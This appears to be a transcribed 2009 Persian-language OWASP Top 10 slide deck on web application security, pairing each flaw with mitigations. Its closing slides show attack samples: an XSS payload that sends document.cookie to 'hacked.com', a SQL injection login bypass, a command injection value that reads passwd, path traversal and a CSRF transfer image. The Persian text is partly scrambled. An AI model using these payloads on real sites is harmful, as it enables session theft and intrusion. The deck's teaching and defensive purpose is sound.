owasp top 10 persian (security of web applications)
DESCRIPTION
This document covers OWASP top 10 (which are 10 most common web security flaws) in Persian and provides examples and how to mitigate them for each.TRANSCRIPT
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.
The OWASP Foundation
OWASP
http://www.owasp.org
امنیت نرم افزارهای وب
عباس نادریAbbas Naderi (aka AbiusX) اعتباران انفورماتی [email protected] [email protected]
10/1/2009 ١٣٨٨/٧/٩
)عج(تقدیم به پیشگاه مقدس امام عصر
امنیت دنیای وب سهل انگاری در اوج اهمیت
OWASP TOP 10
Cross Site Scripting (XSS) Injection Flaws Insecure Remote File Include Insecure Direct Object Reference Cross Site Request Forgery (CSRF) Information Leakage and Improper Error Handling Broken Authentication and Session Management Insecure Cryptographic Storage Insecure Communications
Failure to Restrict URL Access
خطر اصلی ١٠
1.Cross Site Scripting (XSS) اس ریپت نویس مابین سایت
پذیرند آسیب سایتها ٪٢٠ از بیش • است مش ل غایت به آن با مقابله • شوند م کشف فراوان جدید روشهای هرروزه • دارند سخت هایی کاربران برای معمول جای زین های • شوند منتشر کرم صورت به م توانند •
1. Cross Site Scripting (XSS) :روشهای مقابله
کتابخانه های بسیار پیچیده، سنگین و کند• مصون نیستند ٪١٠٠کتابخانه ها نیز • تحریم امان استفاده از قالب بندی• (BBCode) استفاده از سیستم های جایزین• همام با دنیای امنیت اطالعات•
•2. Injection Flaws تزریقات
آسیب پذیر سایتها ٪١۵ حدود • است ساده آن اعمال و محل بسیار آسیب پذیری • م گیرد انجام کور و آگاهانه دسته دو در • سایت ها به رسوخ و شدن ه دلیل معمول ترین • بی خبرند توسعه دهندگان بسیار، معروف عالرقم • م گیرد انجام ناقص معموال آن با مقابله • است آسان بسیار مقابله کاف ، شناخت صورت در •
2. Injection Flaws :روشهای مقابله
استفاده از واسط های امن برای دستورات پویا• SQL برای PreparedStatements استفاده از• به عنوان تنها راه Escaping عدم استفاده از• بررس ورودی• بررس لیست سفیدی ورود ی ها•
3. Insecure Remote File Include تزریق کد مخرب
کار روش از آگاه به احتیاج • نم شود رعایت توسعه دهندگان توسط معموال • رف قابل بستری تنظیمات توسط • کشف و وجود صورت در خطرناک و مخرب بسیار بسیار • سیستم شدن متوجه بدون حمالت انواع انجام ام ان •
3. Insecure Remote File Include
:روشهای مقابله عدم استفاده از کدفایل متغیر• بررس کامل و بسیار دقیق متغیر در آدرس کد• تبیین دقیق قوانین استفاده• تنظیمات سوی اجرا•
4. Insecure Direct Object Reference
ارائه اطالعات ناخواسته توسعه دهندگان آگاه عدم• جلوگیری و یافت پیچیدگ • پیچیده سیستم های در قطع پیش آمدن • نفوذگران برای کشف جهت دشوار و زمانگیر بسیار •
4. Insecure Direct Object Reference
:روشهای مقابله تعیین دقیق معماری سیستم و پیروی از آن• مشخص کردن الیه تعیین دسترس به همه چیز• پیاده سازی صحیح روشها و پیروی از معماری•
5.Cross Site Request Forgery (CSRF)
جعل درخواست بین سایت توسعه دهندگان علم عدم • توسعه دهندگان صحیح درک عدم • انجام قابل و ساده بسیار • نه یا باشد خطرناک و حساس غایت به م تواند • م شود برطرف سادگ به معمول کاربری • دارند خروج پردازش به احتیاج پیچیده موارد •
5.Cross Site Request Forgery (CSRF)
:روشهای مقابله برای فرآیندها GET عدم استفاده از••در کالینت و سرور نااتوماتی جفتگیری تصادف فرم ورود به سیستم مجدد در فرآیند حساس• XSS جلوگیری از•
6. Information Leakage and Improper Error Handling نشت اطالعات و نقص مدیریت خطا
نفوذ انواع اول قدم • پذیرند آسیب سیستم ها تمام تقریبا • نم شود گرفته درنظر معموال آن اهمیت • SQL یا Stack Trace با سیستم از کامل نسبتا آگاه • ناکارآمد اتوماتی مقابله روش های • هزینه بر و کند بسیار دست مقابله روش های •
6. Information Leakage and Improper Error Handling
:روشهای مقابله•عدم ارائه خطا و ارور در سیستم عملیات تهیه گزارش کامل از همه عملردهای سیستم• SMS تماس با مدیر و امنیت از طریق ای میل یا• بررس دقیق و تست کامل محصول قبل از ارائه• استفاده از سیستم های اتوماتی و تنظیم سو•
7. Broken Authentication and Session Management
احراز هویت و مدیریت نشست ناکارا زننده آسیب و بد بسیار • فراوان و دائم بازنگری به احتیاج • غیراستاندارد هویت احراز روش های در نقص • بزرگ سیستم های در حساس و دشوار پیاده سازی •
7. Broken Authentication and Session Management
:روشهای مقابله استفاده از ی محور احرازهویت• ایجاد نشست های مستقل پس از احراز هویت• خروج از سیستم کارا و تخلیه اطالعات• عدم ارائه اطالعات نشست و حساس• استفاده از سیستم های بالغ• تست و بررس کد به صورت کامل•
8. Insecure Cryptographic Storage
استفاده نادرست از رمزنگاری خطرناک و معمول بسیار • ندارند رمزنگاری دانش آنها تیم و توسعه دهندگان اکثر • ناصحیح رمزنگاری بر کامل تکیه • دارند کاف رمزنگاری دانش معدودی نفوذگران ••
8. Insecure Cryptographic Storage
:روشهای مقابله )تست پاسخو نیست(بررس کد ••وریتم های دستعدم استفاده از ال آموزش استفاده صحیح از الوریتم های قدرتمند• )MD5 مانند(عدم استفاده از الوریتم های منسوخ • Hard Coding عدم استفاده از•
9. Insecure Communications
ارتباطات ناامن اعتبار کسب جهت اعتبار صرف به احتیاج و هزینه بر • )نامطلوب( کالینت ها و سرورها روی بر بیشتر بار • مسئله عمق از صحیح درک عدم • سرور بر دشوار راه اندازی • کالینت در دشوار آموزش •
9. Insecure Communications
:روشهای مقابله در تمام ارتباطات هویت دار SSL استفاده از• در تمام فرآیندهای حساس SSL استفاده از• SSL استفاده از گواهینامه معتبر• TLS یا ٣نسخه ،SSLاستفاده از نسخه معتبر•منطق عدم ارائه اطالعات حساس در ارتباط ناامن •
توسط برنامه کنترل شود
10. Failure to Restrict URL Access
ناتوان در محدود کردن دسترس Security by Obscurity غلط متدولوژی • محوری دسترس کنترل از استفاده عدم • )کالینت روی بر مثال( ناصحیح دسترس کنترل • استاندارد روش های از استفاده و پیاده سازی دشواری •
10. Failure to Restrict URL Access
:روشهای مقابله (RBAC ) استفاده از روشهای استاندارد و کارا••انیزم کنترل دسترسم اعمال اتوماتی بررس کد کامل و معماری کارآمد••عدم استفاده از آدرس های مخف
چند راه برد عمل !پیاده روی در اعماق باتالق
Cross Site Scripting (XSS)
echo $_REQUEST['userinput']; Reflect ed, St or ed and DOM types docoment.write('<form name='f1' action=''hacked.com''> <input name=''sessionID'' value='' '+document.cookie+' ''
/></form>'); document.forms.f1.submit();
SQL Injection
$sql = "SELECT * FROM table WHERE id = ' " . $_GET['id'] . " ' ";
Text fiel ds, Nu mb er Fi el ds! !! Server Code: $R=mysql_query(''SELECT * FROM users WHERE
Username='{$Username}' AND Password='{$Pass}' ''); if ($R) echo '' You logged in successfully! ''; Attack: username: foo password: 1' or '1'='1 Manipulated SQL: SELECT * FROM users WHERE
Username='1' AND Password='1' or '1'='1'
Command Injection Server Code: Exec (''mail ''.$UserData); UserData: '' hi; cat passwd; ''
لیست کلمات عبور به همراه متن نامه، به نفوذگر .ای میل م شوند
Malicious File Execute Include direname(__FILE__).''/request_handlers/''.$R; ...به صورت پویا درخواست کاربر را پاسخ م گوییم
User Request: ../../passwd
باعث م شود فایل رمزهای عبور به جای فایل کد .نمایش داده شود
Insecure Direct Object Reference
<select name="language"><option value="ir">Farsi</option></select>
... Include ($_GET['language']."lang.php"); ... <select name="language"><option
value="29871268398721">Farsi</option></select>
Use Salts to prevent Brute-Force!
Cross Site Request Forgery (CSRF)
<img src="http://www.example.com/transfer.do?frmAcct=document.form.frmAcct &toAcct=4345754&toSWIFTid=434343&amt=3434.43">
Insecure Cryptographic Storage
$pass=md5($_GET['pass']); // unsafe! www.passcracking.com
)٢(از الوریتم های صحیح ) ١(استفاده صحیح
$pass=hash( ''sha-512''
,$_GET['pass'].strtolower($_GET['user']));
سواالت، پیشنهادات؟ www.owasp.org : ع مناب